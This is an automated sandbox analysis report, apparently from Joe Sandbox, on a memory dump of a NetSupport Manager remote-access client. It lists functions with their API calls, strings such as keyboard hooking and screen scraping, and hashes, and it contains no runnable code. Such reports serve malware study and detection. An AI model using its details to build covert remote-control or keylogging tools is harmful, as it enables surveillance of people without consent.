COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102E410
screenscrape, xrefs: 1102DF18
TCPIP, xrefs: 1102DF05
016477, xrefs: 1102E145, 1102E30B, 1102E32F, 1102E33C, 1102E36C, 1102E3E1
NSMWClass, xrefs: 1102DCE4
client32, xrefs: 1102DE25
WTSQuerySessionInformationA, xrefs: 1102DF9E
IsA(), xrefs: 1102E279, 1102E2F8
ClientName, xrefs: 1102E0E5
ts macaddr=%s, xrefs: 1102E01C
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102E3EA
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102E274, 1102E2F3
TSMode, xrefs: 1102DEE0
$session$, xrefs: 1102E2B6
ListenPort, xrefs: 1102DF00
MacAddress, xrefs: 1102E02F
Wtsapi32.dll, xrefs: 1102DF2C
14/03/16 10:38:31 V12.10F8, xrefs: 1102E3BE
NSM.LIC, xrefs: 1102DB22
%session%, xrefs: 1102E2CA
Warning: Unexpanded clientname=<%s>, xrefs: 1102E1F3
DisableConsoleClient, xrefs: 1102DE67
Error x%x reading %s, sesh=%d, xrefs: 1102DDB1
, xrefs: 1102E0B5
client32.ini, xrefs: 1102DD55
WTSFreeMemory, xrefs: 1102E061
client32 dbi %hs, xrefs: 1102E3C3
%02d, xrefs: 1102E238
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DFF4
Client, xrefs: 1102DEE5, 1102DF1D, 1102E034
%sessionname%, xrefs: 1102E289, 1102E2A2
%s.%02d, xrefs: 1102E250

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: _malloc_memsetwsprintf
String ID: $$session$$%02d$%s.%02d$%session%$%sessionname%$016477$14/03/16 10:38:31 V12.10F8$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$IsA()$ListenPort$MacAddress$NSM.LIC$NSMWClass$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Warning: Unexpanded clientname=<%s>$Wtsapi32.dll$client32$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 3802068140-3876049245
Opcode ID: 8d7e34653a530cc98d4c7b142cb31fa2942002c12a1f4f3c66c79a8befd3f6be
Instruction ID: 727bed6a5d63171c4319a8bac454151215a042d106ed124055d9f0508de139ba
Opcode Fuzzy Hash: 8d7e34653a530cc98d4c7b142cb31fa2942002c12a1f4f3c66c79a8befd3f6be
Instruction Fuzzy Hash: 7932D275D0022A9FDF12DFA4DC84BEDB7B8AB44308F9445E9E55867280EB70AF84CB51

Function 110A9C90 Relevance: 56.2, APIs: 27, Strings: 5, Instructions: 236
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(setupapi.dll,1B492F88,?,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,11184778), ref: 110A9CC3
GetProcAddress.KERNEL32(00000000,SetupDiGetClassDevsA), ref: 110A9CE7
SetupDiGetClassDevsA.SETUPAPI(111A6E0C,00000000,00000000,00000012,?,?,?,?,?,?,?,?,?,00000000,11184778,000000FF), ref: 110A9D01
GetProcAddress.KERNEL32(00000000,SetupDiEnumDeviceInterfaces), ref: 110A9D2C
_free.LIBCMT ref: 110A9D60
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110A9D72
GetLastError.KERNEL32 ref: 110A9D9D
_malloc.LIBCMT ref: 110A9DB3
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110A9DD5
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,00000000,11184778,000000FF,?,1102F1AA,Client), ref: 110A9E07
SetLastError.KERNEL32(00000078), ref: 110A9E1B
GetLastError.KERNEL32 ref: 110A9E21
_free.LIBCMT ref: 110A9E33
SetLastError.KERNEL32(00000078), ref: 110A9E44
SetLastError.KERNEL32(00000078), ref: 110A9E51
_free.LIBCMT ref: 110A9E64
FreeLibrary.KERNEL32(?,?), ref: 110A9E74
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,11184778,000000FF,?,1102F1AA,Client), ref: 110A9F18

Strings

SetupDiGetClassDevsA, xrefs: 110A9CDB
SetupDiEnumDeviceInterfaces, xrefs: 110A9D26
SetupDiDestroyDeviceInfoList, xrefs: 110A9EC0
setupapi.dll, xrefs: 110A9CBB
SetupDiGetDeviceInterfaceDetailA, xrefs: 110A9D6C, 110A9DCF

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: ErrorLast$AddressProc$Library_free$Free$ClassDevsLoadSetup_malloc
String ID: SetupDiDestroyDeviceInfoList$SetupDiEnumDeviceInterfaces$SetupDiGetClassDevsA$SetupDiGetDeviceInterfaceDetailA$setupapi.dll
API String ID: 3464732724-3340099623
Opcode ID: f516254d0abd54e50715bca7ef5168f810df5caaca2cd717629c9093cd8c9f4a
Instruction ID: 033bff87456eb4c9bd2d5bbaba34d7345019b106b940800e90953e4c12ebf53e
Opcode Fuzzy Hash: f516254d0abd54e50715bca7ef5168f810df5caaca2cd717629c9093cd8c9f4a
Instruction Fuzzy Hash: F2816279E14259ABEB04DFF4EC84F9FFBB8AF48704F104528F921A6284EB759905CB50

Function 11133920 Relevance: 51.0, APIs: 16, Strings: 13, Instructions: 278
libraryloadertimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

GetLocalTime.KERNEL32(?,_debug,CheckLeaks,00000001,00000000,1B492F88), ref: 1113398E
LoadLibraryA.KERNEL32(psapi.dll), ref: 111339E6
GetCurrentProcess.KERNEL32 ref: 11133A27
GetProcAddress.KERNEL32(?,GetProcessHandleCount), ref: 11133A51
GetProcessHandleCount.KERNEL32(00000000,?), ref: 11133A62
SetLastError.KERNEL32(00000078), ref: 11133A68
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11133A84
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11133AAC
SetLastError.KERNEL32(00000078), ref: 11133AC9
SetLastError.KERNEL32(00000078), ref: 11133AD6
GetProcAddress.KERNEL32(?,GetProcessMemoryInfo), ref: 11133AE8
K32GetProcessMemoryInfo.KERNEL32(?,?,00000028), ref: 11133AFB
SetLastError.KERNEL32(00000078), ref: 11133B01
FreeLibrary.KERNEL32(?), ref: 11133C6B
FreeLibrary.KERNEL32(?), ref: 11133C78
FreeLibrary.KERNEL32(?), ref: 11133C82

Strings

GetGuiResources, xrefs: 11133A7E, 11133AA6
GetProcessHandleCount, xrefs: 11133A4B
CheckLeaks, xrefs: 1113396D
GetProcessMemoryInfo, xrefs: 11133AE2
RestartHandles, xrefs: 11133BE7
Date=%04d-%02d-%02d, xrefs: 111339AB
Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB, xrefs: 11133B73
RestartUserObj, xrefs: 11133C35
psapi.dll, xrefs: 111339C3
_debug, xrefs: 11133972
Client, xrefs: 11133BC1, 11133BEC, 11133C13, 11133C3A
RestartMB, xrefs: 11133BBC
RestartGdiObj, xrefs: 11133C0E

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: AddressErrorLastLibraryProc$FreeProcess$CountCurrentHandleInfoLoadLocalMemoryTime__wcstoi64
String ID: CheckLeaks$Client$Date=%04d-%02d-%02d$GetGuiResources$GetProcessHandleCount$GetProcessMemoryInfo$RestartGdiObj$RestartHandles$RestartMB$RestartUserObj$Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB$_debug$psapi.dll
API String ID: 263027137-1001504656
Opcode ID: 87783a789c6862cb7a583f6d0127a67f1abf74d6ca2b18a0a01f6916aa137176
Instruction ID: 17d7fdf42b282dadbb05295794651177f64ab9c07d211a437ec733fd2e53fcc2
Opcode Fuzzy Hash: 87783a789c6862cb7a583f6d0127a67f1abf74d6ca2b18a0a01f6916aa137176
Instruction Fuzzy Hash: A3B1BFB1E242699FDB10DFE9CDC0AADFBB6EB48319F10452AE414E7348DB349844CB65

Function 1102DBC9 Relevance: 49.3, APIs: 7, Strings: 21, Instructions: 319
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,Client,screenscrape,00000001,00000003,TCPIP,ListenPort,00000000,00000003,00000003,?,?,?,?,?,?), ref: 1102DF31

Strings

MacAddress, xrefs: 1102E02F
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102E410
screenscrape, xrefs: 1102DF18
TCPIP, xrefs: 1102DF05
016477, xrefs: 1102E145, 1102E36C, 1102E3E1
Wtsapi32.dll, xrefs: 1102DF2C
14/03/16 10:38:31 V12.10F8, xrefs: 1102E3BE
DisableConsoleClient, xrefs: 1102DE67
Error x%x reading %s, sesh=%d, xrefs: 1102DDB1
, xrefs: 1102E0B5
WTSQuerySessionInformationA, xrefs: 1102DF9E
client32.ini, xrefs: 1102DD55
ClientName, xrefs: 1102E0E5
WTSFreeMemory, xrefs: 1102E061
client32 dbi %hs, xrefs: 1102E3C3
ts macaddr=%s, xrefs: 1102E01C
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DFF4
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102E3EA
TSMode, xrefs: 1102DEE0
Client, xrefs: 1102DEE5, 1102DF1D, 1102E034
ListenPort, xrefs: 1102DF00

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: $016477$14/03/16 10:38:31 V12.10F8$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$ListenPort$MacAddress$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 1029625771-1026522426
Opcode ID: efde7a6f29c4b35a1bc2373ff856d498f8aef1b4f42035034b7e6d706e59a609
Instruction ID: 8eab5b2d156e186679f92ce27f1e5cdd209b728942572a9b5b46018c3091c824
Opcode Fuzzy Hash: efde7a6f29c4b35a1bc2373ff856d498f8aef1b4f42035034b7e6d706e59a609
Instruction Fuzzy Hash: 97C1D275E0026AAFDF22DF959C84BEDF7B9AB44308F9440EDE55867280D770AE80CB51

Function 111414A0 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 266
libraryregistryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(User32.dll,00000000,00000000), ref: 111414F3
FreeLibrary.KERNEL32(00000000), ref: 11141563
LoadLibraryA.KERNEL32(imm32,?,?,00000000,00000000), ref: 11141586
GetClassInfoExA.USER32(11000000,NSMWClass,?), ref: 111415E5
_memset.LIBCMT ref: 111415F9
LoadCursorA.USER32(00000000,00007F00), ref: 11141649
GetStockObject.GDI32(00000000), ref: 11141653
RegisterClassExA.USER32(?), ref: 1114166A
LoadLibraryA.KERNEL32(pcihooks,?,?,00000000,00000000), ref: 11141702
GetProcAddress.KERNEL32(00000000,HookKeyboard), ref: 11141717
SetTimer.USER32(00000000,00000000,000003E8,1113CD60), ref: 1114183A
#17.COMCTL32(?,?,?,00000000,00000000), ref: 11141868
LoadLibraryA.KERNEL32(riched32.dll,?,?,?,00000000,00000000), ref: 11141873

Part of subcall function 11017450: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,1B492F88,1102FCB2,00000000), ref: 1101747E
Part of subcall function 11017450: LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1101748E
Part of subcall function 11017450: GetProcAddress.KERNEL32(00000000,QueueUserWorkItem), ref: 110174D2
Part of subcall function 11017450: FreeLibrary.KERNEL32(00000000), ref: 110174F8

Part of subcall function 110CC7F0: CreateWindowExA.USER32(00000000,button,11194244,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000000,00000000), ref: 110CC829
Part of subcall function 110CC7F0: SetClassLongA.USER32(00000000,000000E8,110CC570), ref: 110CC840

Strings

View, xrefs: 11141751
NSMWClass, xrefs: 111415D7, 11141663
pcihooks, xrefs: 111416FD
*quiet, xrefs: 111415AD
InitUI (%d), xrefs: 111414CC
_debug, xrefs: 11141771
HookKeyboard, xrefs: 11141711
NSMGetAppIcon(), xrefs: 11141626
riched32.dll, xrefs: 1114186E
imm32, xrefs: 1114157C
TraceCopyData, xrefs: 1114176C
UI.CPP, xrefs: 11141621, 1114167C
_License, xrefs: 111415B2
User32.dll, xrefs: 111414E7

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Library$Load$Class$AddressCreateFreeProc$CursorEventInfoLongObjectRegisterStockTimerWindow_memset
String ID: *quiet$HookKeyboard$InitUI (%d)$NSMGetAppIcon()$NSMWClass$TraceCopyData$UI.CPP$User32.dll$View$_License$_debug$imm32$pcihooks$riched32.dll
API String ID: 3706574701-3145203681
Opcode ID: bf77d67e3ec3500b8f2db5927d4705f1cc154319e5a682cee20025d48f6291c1
Instruction ID: 9b294397b9efa9119a6c3372e39ca87a41eafe2d9b680e3b49ce131b24699399
Opcode Fuzzy Hash: bf77d67e3ec3500b8f2db5927d4705f1cc154319e5a682cee20025d48f6291c1
Instruction Fuzzy Hash: 6EA19DB4E0126AAFDB01DFE9C9C4AADFBB4FB4870DB60413EE52997644EB306440CB55

Function 110285F0 Relevance: 42.5, APIs: 2, Strings: 22, Instructions: 542
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,73401370,?,0000001A), ref: 110286DD
_strrchr.LIBCMT ref: 110286EC

Part of subcall function 111646CE: __stricmp_l.LIBCMT ref: 1116470B

Strings

TLA, xrefs: 11028905
NSMAppDataDir, xrefs: 110289F5
NSSConfName, xrefs: 11028A55
??F, xrefs: 11028C70
AssistantName, xrefs: 11028A8C
Home, xrefs: 110288D5
SupportEMail, xrefs: 110289C5
TechConsole, xrefs: 11028B1D
ShortName, xrefs: 110288A5
NSSTLA, xrefs: 11028965
NSSLongCaption, xrefs: 11028B55
Name, xrefs: 1102883E
LongName, xrefs: 11028875
SupportsChrome, xrefs: 11028AE6
product.dat, xrefs: 110286A0, 110286F1
AssistantURL, xrefs: 11028AB9
\, xrefs: 1102866C
NSSName, xrefs: 11028935
SupportWWW, xrefs: 11028995
NSSAppDataDir, xrefs: 11028A25
??I, xrefs: 11028CF7
SupportsAndroid, xrefs: 11028B82

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: FileModuleName__stricmp_l_strrchr
String ID: ??F$??I$AssistantName$AssistantURL$Home$LongName$NSMAppDataDir$NSSAppDataDir$NSSConfName$NSSLongCaption$NSSName$NSSTLA$Name$ShortName$SupportEMail$SupportWWW$SupportsAndroid$SupportsChrome$TLA$TechConsole$\$product.dat
API String ID: 1609618855-357498123
Opcode ID: f758b9b815b32a629a166d271db5dcc578b7f2649effa84e62f149b16d96c17d
Instruction ID: efd952e0d0f75bab71a6f775fe147756553f35749af42d5d105ea8c6321280ff
Opcode Fuzzy Hash: f758b9b815b32a629a166d271db5dcc578b7f2649effa84e62f149b16d96c17d
Instruction Fuzzy Hash: ED12D67CD0929A8BDB17CF64CC807E5B7F5AB19308F8400EEE9D557201EB729686CB52

Function 11086700 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 161
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,00000001,0000DD7C), ref: 1108678C
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 110867AA
LoadLibraryA.KERNEL32(?), ref: 110867EC
GetProcAddress.KERNEL32(?,CipherServer_Create), ref: 11086807
GetProcAddress.KERNEL32(?,CipherServer_Destroy), ref: 1108681C
GetProcAddress.KERNEL32(00000000,CipherServer_GetInfoBlock), ref: 1108682D
GetProcAddress.KERNEL32(?,CipherServer_OpenSession), ref: 1108683E
GetProcAddress.KERNEL32(?,CipherServer_CloseSession), ref: 1108684F
GetProcAddress.KERNEL32(00000000,CipherServer_EncryptBlocks), ref: 11086860

Strings

CipherServer_GetInfoBlock, xrefs: 11086827
CipherServer_Destroy, xrefs: 11086816
CipherServer_GetRandomData, xrefs: 1108687C
CipherServer_DecryptBlocks, xrefs: 1108686B
CipherServer_ResetSession, xrefs: 1108688D
CipherServer_EncryptBlocks, xrefs: 1108685A
CipherServer_OpenSession, xrefs: 11086838
CryptPak.dll, xrefs: 1108675B, 110867BE
CipherServer_CloseSession, xrefs: 11086849
CipherServer_Create, xrefs: 11086801

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$FileModuleName
String ID: CipherServer_CloseSession$CipherServer_Create$CipherServer_DecryptBlocks$CipherServer_Destroy$CipherServer_EncryptBlocks$CipherServer_GetInfoBlock$CipherServer_GetRandomData$CipherServer_OpenSession$CipherServer_ResetSession$CryptPak.dll
API String ID: 2201880244-3035937465
Opcode ID: 4b4bd3f155fc2ea4308a314feeb32441d96d80ab178d9e56264d575cdcc26986
Instruction ID: c81deb3771c39ade44f8803fbe1e6421c41fb3d40bd553f41274565aeadcb2b4
Opcode Fuzzy Hash: 4b4bd3f155fc2ea4308a314feeb32441d96d80ab178d9e56264d575cdcc26986
Instruction Fuzzy Hash: CD51C174E1834A9BD710DF79DC94BA6FBE9AF54304B1289AED885C7240EAB2E444CF50

Function 11141890 Relevance: 35.7, APIs: 3, Strings: 17, Instructions: 672
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCloseKey.ADVAPI32(00000000), ref: 1114194A

Strings

client, xrefs: 11141D63
Warning. Can't calc AD policy changes, xrefs: 11141D85
Info. Policy changed - re-initui, xrefs: 11142012
Chg [%s]%s=%s, xrefs: 11141EF5
NSM.LIC, xrefs: 11141950
Info. Policy changed - reload transports..., xrefs: 11142036
Del [%s]%s=%s, xrefs: 11141E95
IsA(), xrefs: 111420CD
_debug, xrefs: 11141DE6
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 111420C8
Info. Lockup averted for AD policy changes, xrefs: 11141B1D, 11141B44
RoomSpec, xrefs: 11141DC7, 1114207A
Client, xrefs: 11141DCC, 1114207F
TracePolicyChange, xrefs: 11141DE1
NSA.LIC, xrefs: 1114195F, 11141966, 1114198D
client., xrefs: 11141D46
Add [%s]%s=%s, xrefs: 11141E36

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
